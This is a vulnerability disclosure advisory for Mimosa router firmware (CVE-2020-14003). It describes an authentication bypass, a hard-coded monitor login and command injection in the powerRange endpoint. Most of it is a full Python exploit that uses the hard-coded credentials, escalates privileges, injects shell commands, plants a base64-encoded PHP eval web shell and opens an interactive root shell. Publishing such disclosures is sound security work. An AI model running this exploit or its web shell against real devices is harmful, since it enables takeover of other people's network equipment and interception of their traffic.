SSD Advisory – Mimosa Routers Privilege Escalation and Authentication bypass

TL;DR

Find out how we exploited Mimosa Router’s web interface vulnerability and gained root access.

Vulnerability Summary

Mimosa Networks is the global technology leader in wireless broadband solutions, delivering fiber-fast connectivity to service providers and enterprise, industrial and government operators worldwide. A vulnerability in Mimosa devices/routers leads to an authentication bypass/ privilege escalation by executing malicious code in the Routers Web interface.

CVE

CVE-2020-14003

Credit

An independent Security Researcher has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems

Should work on any mimosa device with versions of the firmware <= 1.5.1 (the latest version)

C5c ca8c8e1

C5 cc51495

B5 b84c680

B5-Lite b84c680

B5c b84c680

B11 b84c680

B24 1070089

Vendor Response

The vendor acknowledges the vulnerability and fixed it.

Vulnerability Details

The Mimosa routers all use a custom web interface that’s written using php. The Mimosa developers also have their own mini php framework.

The root of the web interface is located at /var/www/. There are a lot of php scripts there, some which handle API requests and others for the web interface. Let’s begin by looking at the framework and how authentication is done (the initial bug).

Authentication Bypass/ Privilege Escalation

File /var/www/core/tinyframe/mimosa.php

class Dispatcher { //Dispatcher class (Handles routing) included for reference
   private $output;

   public function __construct() {
       if (isset($_GET['q'])) { //parse action from url querystring
           $array = explode('.', $_GET['q']);
           if (count($array)) {
               Application::$controller['name'] = strtolower(array_shift($array));
               if (count($array)) {
                   Application::$controller['action'] = strtolower(array_shift($array));
              }
          }
           unset($_GET['q']);
      }
  }
...
//line 277
class Controller extends Application { // The controller class handles authentication
...
//line 308
$noCheckController = array( // This are the controllers and functions that won't require authentication
           'index' => array('login', 'logout', 'activation', 'recovery', 'keeprecovery'),
           'info' => array('device'),
           'preferences' => array('changepass'), //<-- The bug is here
           'tools' => array('antenna_data')
      );

As can be seen above, the authentication exemptions contain the preferences endpoint (reachable at <router_ip>/index.php?q=preferences.preferences). This is where the Privilege Escalation and Authentication bypass bugs occur, lets take a look at the controller code and see what we can do.

File: /var/www/core/controller/preferences.php

//line 111 
  public function changepass() {
       if(self::$isPost) { // Checks if the request sent is POST
           $saveArray = $this->saveArray('SuperPassword'); //Gets SuperPassword (admin password) from or request
           foreach($saveArray as &$value) {
               $value = md5($value); // md5 hashing the password value
          }
           $_SESSION['MIM_STATE']['IsSuper'] = true; //<-- BUG1 Escalates our privileges to SuperUser (web ui)
           $this->ajaxSave('Passwords', $saveArray); //<-- BUG2 Changes the admin password with our supplied value.
           Flags::create('password_modified');
      }
  }

As can be seen above the bugs are pretty straight forward. And very easy to exploit.

The first bug lets us escalate our session to super user, this was not trivial to exploit since we need to login for the session to work. There is a code block that checks session timeout using variables from the $_SESSION super global. But this value will not be set unless we are logged in, and if it’s not set authentication fails. But luckily mimosa has a hard coded web user (monitor:mimosa) that can login with minimal privileges and whats even better there is no option to change the password for this user or disable it. Using the hard coded credentials and the privilege escalation we can get full admin access to the web UI.

The second bug is pretty trivial. We can change the password of the super user without the need to authenticate. This lets us log in with our new password and take full control. The PoC exploit below exploits both these bugs for RCE.

Remote Command Execution

The RCE requires an authenticated admin session to exploit, By using one of the two bugs described above, we can get a valid session and exploit the bug. The RCE is pretty simple so lets take a look at the code. File /var/www/core/controller/wireless.php

public function powerRange() {
$isR5 = $this->product == 'B02';
$bw = $_GET['bw'];
$freq1= $_GET['freq'];
$freq2 = $_GET['freq2'];
       $country = country();

if ((strlen(substr($bw, 2)) > 2))
$bw = '3' . str_replace(' FD','',substr($bw, 2));
else
$bw = substr($bw, 2);

       $cmd = "reg_query power_range $country ". $bw ." $freq1 $freq2";
       if ( MIMOSA_PRODUCT == 'B11') {
           $cmdRemote = $cmdLocal  = $cmd;

           $cmdLocal .= " gain ". $_GET['gain'];
           $cmdRemote.= " gain ". $_GET['gainRemote'];

           $minMaxLocal = array();
           $minMaxRemote = array();

           $lines = doCmd($cmdLocal, false, true, "power_range_".$country."_".$bw."_".$freq1."_".$freq2);
           foreach ($lines as $key => $line) {
               $x = explode(':', $line);
               $minMaxLocal[] = array((int) trim($x[2]), (int) trim($x[1]));
          }

           $lines = doCmd($cmdRemote, false, true, "power_range_".$country."_".$bw."_".$freq1."_".$freq2);
           foreach ($lines as $key => $line) {
               $x = explode(':', $line);
               $minMaxRemote[] = array((int) trim($x[2]), (int) trim($x[1]));
          }
           $this->options = array('Power' => range($minMaxLocal[0][0], $minMaxLocal[0][1]),
               'Power2' => range($minMaxRemote[0][0], $minMaxRemote[0][1]));
      }
       else {
if ($isR5) {
if (intval($_GET['gain']) > intval($_GET['gainRemote']))
$cmd .= " gain ". $_GET['gain'];
else
$cmd .= " gain ". $_GET['gainRemote'];
}
$lines = doCmd($cmd, false, true, "power_range_".$country."_".$bw."_".$freq1."_".$freq2);
$minMax = array();

foreach ($lines as $key => $line) {
$x = explode(':', $line);
$minMax[] = array((int) trim($x[2]), (int) trim($x[1]));
}
if(count($minMax) > 1) {
$this->options = array('Power' => range($minMax[0][0], $minMax[0][1]),
'Power2' => range($minMax[1][0], $minMax[1][1]));
} else {
$this->options = array('Power' => range($minMax[0][0], $minMax[0][1]));
}
}

As you can see from the above code, the function powerRange (reachable at <router_ip>/index.php?q=wireless.powerRange) executes a command using doCmd (a wrapper) without any type of filtering. The code has 2 paths if the product is B11 and if it is not (Other models) but the RCE will happen in both cases.

As a side note the /var/www/ directory is not writable by default (squashfs filesystem) and you have to get around that by using a bind mount /var/www/help/ to /tmp/<some_dir> to upload a shell.

Demo

Exploit

#!/usr/bin/python2
import sys
import json
import requests
import urllib3
from base64 import b64encode as encode
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class MimosaExploit():
	def __init__(self,url):
		self.url = url
		self.cookie = None
	def get_version(self):
		print '[+] Fingerprinting device.'
		r = requests.post(self.url+'/index.php?q=index.login&mimosa_ajax=1',verify=False,data={'username':'a','password':'b'})
		if r.status_code != 200:
			print "[-] Failed to fetch device info, Are you sure this is mimosa device?"
			return False
		else:
			try:
				data = json.loads(r.text)
				print '[+] Device Model: {}\n[+] Version: {}'.format(data['productName'],data['version'])
				return True
			except Exception:
				print '[-] Failed to parse device info.'
				return False
	def LoginMonitor(self):
		print '[+] Attempting to login as the monitor user (lowest privilege)'
		r = requests.post(self.url+'/index.php?q=index.login&mimosa_ajax=1',verify=False,data={'username':'monitor','password':'mimosa'})
		if r.status_code != 200 and r.text.find('error') != -1 and r.text.find('Login failed') != -1:
			print '[+] Login seems to have failed :('
			print '[+] Try using the password change exploit?'
			return False
		if 'Set-Cookie' not in r.headers.keys():
			print '[+] No session recieved, maybe retry?'
			return False
		self.cookie = r.headers['Set-Cookie'].split(';')[0].split('=')[1]
		print '[+] Got cookie: {}'.format(self.cookie)
	def LoginAdmin(self):
		print '[+] Attempting to login as the admin user'
		r = requests.post(self.url+'/index.php?q=index.login&mimosa_ajax=1',verify=False,data={'username':'admin','password':'admin'})
		if r.status_code != 200 and r.text.find('error') != -1 and r.text.find('Login failed') != -1:
			print '[+] Login seems to have failed :(, maybe retry?'
			return False
		if 'Set-Cookie' not in r.headers.keys():
			print '[+] No session recieved, maybe retry?'
			return False
		self.cookie = r.headers['Set-Cookie'].split(';')[0].split('=')[1]
		print '[+] Got cookie: {}'.format(self.cookie)
	def EscalatePrivilege(self):
		print '[+] Escalating privilege to Super User'
		r = requests.post(self.url+'/index.php?q=preferences.changepass&mimosa_ajax=1',verify=False,data={'super':'GotJuice?'},cookies={'PHPSESSID':self.cookie})
		if r.status_code != 200:
			print '[+] Failed to escalate privileges'
			return False
		try:
			json.loads(r.text)
		except:
			print '[-] Failed to escalate privileges, Invalid response'
			return False
		print '[+] Successfully got Super User privileges'
	def ChangeAdminPassword(self):
		print '[+] Changing the admin password to admin'
		r = requests.post(self.url+'/index.php?q=preferences.changepass&mimosa_ajax=1',verify=False,data={'super':'GotJuice?'},cookies={'PHPSESSID':self.cookie})
		if r.status_code != 200:
			print '[+] Failed to change the password'
			return False
		try:
			json.loads(r.text)
		except:
			print '[-] Failed to change the password, Invalid response'
			return False
		print '[+] Successfully changed the admin password'
	def ExploitRCE(self,Shell=True):
		print '[+] Beginning RCE exploit'
		if Shell == False:
			cmd = raw_input("Input command you want to execute> ")
		else:
			# Shell base64 decoded
			#<?php
			#eval(base64_decode($_REQUEST['p']));
			#?>
			cmd = "mkdir /tmp/.help;cp -r /var/www/help/* /tmp/.help;mount | grep /var/www/help || mount -o bind /tmp/.help /var/www/help;echo PD9waHAKZXZhbChiYXNlNjRfZGVjb2RlKCRfUkVRVUVTVFsncCddKSk7Cj8+ | base64 -d > /tmp/.help/load_help.php"
		r = requests.get(self.url+'/index.php?q=wireless.powerRange&mimosa_ajax=1&bw=ASS;'+cmd+';#&gain=BB&gainRemote=AA',verify=False,cookies={'PHPSESSID':self.cookie})
		if r.status_code != 200 and r.text.lower().find('power') == -1:
			print '[+] Executing the command might have failed'
			return False
		else:
			print '[+] Successfully executed the command'
		if Shell == True:
			print '[+] Checking if shell is uploaded'
			r = requests.post(self.url+'/help/load_help.php',verify=False,data={'p':encode("echo \"_UPLOADED_\";")})
			if r.status_code == 200 and r.text.strip() == '_UPLOADED_':
				print '[+] Shell is uploaded'
			else:
				print '[-] Uploading the shell might have failed, retry?'
				return False
			ch = raw_input("Would you like to execute a semi interactive shell?(Y/N): ")
			if ch.lower() == 'y':
				print '[+] Running an interactive command shell'
				print '\n\n[*] Use quit to exit\n[*] clean_up to remove the webshell\n[*] prefix commands with php to run php code'
				while True:
					cmd = raw_input("root@{}> ".format(self.url.split('/')[2])).strip()
					if cmd == "quit":
						print '[+] Exiting command shell.'
						return True
					elif cmd == 'clean_up':
						cmd = encode('system("rm -rf load_help.php && echo __DONE__");')
						r = requests.post(self.url+'/help/load_help.php',verify=False,data={'p':cmd})
						if r.status_code != 200:
							print '[+] Something went wrong while executing the command'
						elif r.text.strip() == '__DONE__':
							print '[+] Exploit cleaned up, exit now please'
					elif cmd.startswith("php "):
						r = requests.post(self.url+'/help/load_help.php',verify=False,data={'p':encode(cmd[4:])})
						if r.status_code != 200:
							print '[+] Execution Failed.'
						else:
							print r.text
					r = requests.post(self.url+'/help/load_help.php',verify=False,data={'p':encode('system("'+cmd.replace('"','\\"')+' 2>&1");')})
					if r.status_code != 200:
						print '[+] Something went wrong while executing the command'
						print r.status_code
						print r.text
					else:
						print r.text
			else:
				print '[+] Your shell should be at {}/help/load_help.php'
				print '[+] use GET/POST parameter p to execute php code'
				print '[+] Note the php code sent through p has to be base64 encoded'
				return True
		else:
			print '[+] Command should be executed'
			return True
	def run(self):
		print '[+] Mimosa routers Authentication Bypass/Privilege Escalation/RCE exploit'
		print '[*] Please choose operation:\n\t 1) Exploit RCE using hard coded credentials (best choice)\n\t 2) Exploit RCE by changing the admin password (Intrusive) '
		ch = raw_input('Choice> ')
		if ch == "1":
			if(self.get_version() == False):
				print '[-] Fingerprinting Failed, bailing'
				exit(0);
			if(self.LoginMonitor() == False):
				print '[-] Failed to Login using hardcoded creds, Bailing'
				exit(0);
			shell = raw_input('[+] Would you Like to upload a shell? (If Not you\'ll be asked for a custom command)(Y\N): ')
			if shell.strip().lower() == 'y':
				self.ExploitRCE()
			else:
				self.ExploitRCE(Shell=False)
		if ch == "2":
			if(self.get_version() == False):
				print '[-] Fingerprinting Failed, bailing'
				exit(0);
			if(self.ChangeAdminPassword() == False):
				print '[-] Failed to change creds, Bailing'
				exit(0);
			if(self.LoginAdmin() == False):
				print '[-] Failed to Login as admin, Bailing'
				exit(0);
			shell = raw_input('[+] Would you Like to upload a shell? (If Not you\'ll be asked for a custom command)(Y\N): ')
			if shell.strip().lower() == 'y':
				self.ExploitRCE()
			else:
				self.ExploitRCE(Shell=False)
if __name__ == "__main__":
	if len(sys.argv) < 2:
		print 'Usage: {} <url>'.format(sys.argv[0])
		exit(0)
	ex = MimosaExploit(sys.argv[1])
	ex.run()

?

Get in touch